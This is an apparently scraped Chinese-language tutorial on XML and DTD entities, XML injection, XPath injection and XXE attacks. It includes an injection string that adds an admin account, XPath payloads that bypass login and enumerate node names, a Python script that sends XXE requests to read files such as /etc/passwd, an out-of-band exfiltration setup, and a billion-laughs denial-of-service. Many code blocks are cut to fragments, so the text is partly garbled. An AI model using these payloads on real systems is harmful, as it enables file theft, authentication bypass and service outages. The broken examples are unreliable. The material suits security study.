XXE漏洞
XML文件
XML是可扩展标记语言,是用来传输数据和存储数据
XML基本格式
1 | <?xml version="1.0" ecoding="UTF-8" standalone="yes"?><!--xmL文件声明--> |
中的version是版本号,而encoding是语言,而standalone是yes时表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接被忽略这一项
DTD
DTD是控制XML文档的格式规范,可以嵌入xmL文档中,作为内部声明,也可以单独的一个文件,为外部引用。
内部DTD和外部DTD
内部DTD
使用内部的dtd文件,即将约束规则定义在xmL文档中,格式:
1 | <!DOCTYPE 根元素名称 [元素声明] |
示例代码
1 | <?xml version="1.0"?> |
其中元素类型
1 | PCDATA类型:被解析的字符串数据,即会被解析器解析的文本 |
外部DTD
引入外部的dtd文件
1
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
使用外部的dtd文件(网络上的dtd文件)
1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的url">
使用外部DTD时,通过如下语法引入:
1
<!DOCTYPE root-element SYSTEM "filename">
示例代码
1 | <?xml version="1.0" encoding="UTF-8"?> |
实体引用
1 | 实体引用是当XML元素以形如<tag>foo</tag>的标签开始和结束,且元素的内部如果存在特殊的字符,会用实体引用来替换特殊字符,而实体引用可以起到宏定义和文件包含的效果 |
其中预定义的五个实体引用
1 | ”<“相当于”$lt“ |
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式,而实体引用是对实体的引用
实体按参数分类,分为一般实体和参数实体
一般实体
1 | <!ENTITY 实体名称“实体内容"> |
引用一般实体方法为:&实体名称
参数实体
1 | <!ENTITY %实体名称 "实体内容"> |
引用参数实体的方法为:%实体名称
按照实体使用类型分类,又分为内部声明实体和引用外部实体
内部实体
1 | <!ENTITY 实体名称 “实体的值”> |
示例代码
1 | <?xml version = "1.0" encoding = "utf-8"?> |
外部实体
用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机
1 | <!ENTITY 实体名称 SYSTEM "URI/URL"> |
示例
1 | <?xml version = "1.0" encoding = "utf-8"?> |
参数实体+外部实体
1 | <!ENTITY % 实体名称 SYSTEM "URI/URL"> |
示例
1 | <?xml version="1.0" encoding="utf-8"?> |
其中%file(参数实体)在DTD中被引用,而&file;是在xmL文档中被引用
DTD属性
属性声明语法
1 | <!ATTLIST 元素名称 属性名称 属性类型 默认值> |
DTD实例
1 | <!ATTLIST payment Luckey CDATA "Q"> |
XML实例
1 | <payment Luckey="Q" /> |
XML注入
XML是传输数据和存储数据的,是利用闭合标签来改写XML文件来实现的
XML注入原理
1 | XML是数据组织存储的数据结构方式,当用户输入数据时,由于输入的数据没有进行检测和过滤掉特殊字符,所以有可能会改变xmL的结构,插入新的功能,这样便会导致XML注入攻击 |
XML注入示例
XML注入条件
1 | 1. 用户能够控制数据的输入 |
test.xml
1 | <?xml version="1.0" encoding="utf-8"?> |
当我们可以掌握password字段时,我们可以输入:
1 | root</password></admin><admin id="3"><name>hack</name><password>hacker |
可以对xml原来结构进行更改,加多了一个hack的用户和密码
修改后的xml
1 | <?xml version="1.0" encoding="utf-8"?> |
如果要想XML注入,需要知道
1 | 1. 闭合标签 |
Xpath注入
Xpath注入攻击是利用Xpath解析器的松散输入和容错特性,能够在url、表单或其它信息上附带恶意的Xpath查询代码,以获取权限信息的访问并更改这些信息,它可以探究使用的XML时如何构造的
Xpath注入攻击的原理和利用
Xpath注入攻击是通过构建特殊输入来作为参数传入到web应用程序中,并通过执行Xpath查询来获取想要的数据,而注入的对象是xmL文件,注入出现位置为
1 | cookie、headers、request parameters/input |
Xpath是XML路径语言,用于配置文件的查找,数据库就是XML文件,我们是利用Xpath语法的web应用程序没有对输入的Xpath查询做严格的处理,致使存在Xpath注入漏洞
Xpath直接注入
搭建环境
test2.xml
1 | <?xml version="1.0" encoding="UTF-8"?> |
用于接收参数并进行XML查询的php文件
1 | <?php |
simplexml_load_file()
````
返回类SimpleXMLElement的一个对象,该对象的属性包含XML文档的数据
1 | Xpath查询语句为 |
/root/users/user[username/text()=’’and password/text()=’’]
1 | 攻击者可以利用逻辑漏洞,构造 |
?name=’or 1=1 ‘’=’&pwd=1
1 | 这样逻辑上会使查询一直为true,从而查到所有数据信息 |
?name=’ or count(/*) = 1 or ‘1’ = ‘2
1 | 有返回证明存在一个根节点 |
?name=’ or substring(name(/*[position() = 1]),1,1)=’r’ or ‘1’=’2
1 | 得到根节点为root |
?name=’ or count(/root/*) = 1 or ‘1’ = ‘2
1 | 返回结果证明存在root下一个节点 |
?name=’ or substring(name(/root/*[position() = 1]),1,1)=’u’ or ‘1’=’2
1 |
|
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞
1 |
|
1 | 其中函数的作用 |
file_get_contents——————————获取客户端输入内容
new DOMDocument()————————初始化XML解析器
loadXML($xmlfile)—————————-加载客户端输入的XML内容
simplexml_import_dom($dom)—————获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
$xml->xxe————————————-获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容
1 | 上传的xml文件 |
]>
1 | 其中&file;为qwzf.txt的内容 |
1 | 然后通过get提交上传xml文件,即构造payload |
?xml=
]>
1 | 最好将xml转换为url格式,通过构造外部实体payload,在xml文件中&file;变为qwzf.txt文件内容 |
“> %payload;
1 |
|
%dtd;
%send;
]>
1 |
|
1 |
|
#!/usr/bin/python
-- coding:utf-8 --
import urllib2
if name == ‘main‘:
print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
url = raw_input()
count=1
while count==1:
print u'输入要读取的文件,如file:///etc/passwd'
payload = raw_input()
headers = {'Content-type': 'text/xml'}
xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
req = urllib2.Request(url = url,headers = headers, data = xml)
res_data = urllib2.urlopen(req)
res = res_data.read()
print res
1 |
|
]>
1 |
|
]>
1 | 原理:因为lol要引用10次,而lol2有10个lol,所以要引用10的10次方次,以此类推,lol9要引用许多次,所以造成攻击 |
]>
1 |
|
]>
```
详细请看:https://xz.aliyun.com/t/6887#toc-4
但是XML注入方面请看本文章,原文章有错